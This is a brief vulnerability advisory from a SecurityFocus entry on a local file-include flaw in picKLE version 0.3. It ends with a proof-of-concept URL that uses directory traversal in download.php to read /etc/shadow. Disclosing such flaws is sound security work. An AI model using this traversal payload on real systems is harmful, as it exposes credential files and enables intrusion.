source: https://www.securityfocus.com/bid/22703/info

picKLE is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 0.3 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/Pickle/src/download.php?img=1&file=../../../../../../../../../../../../../etc/shadow&rotation=0&img=0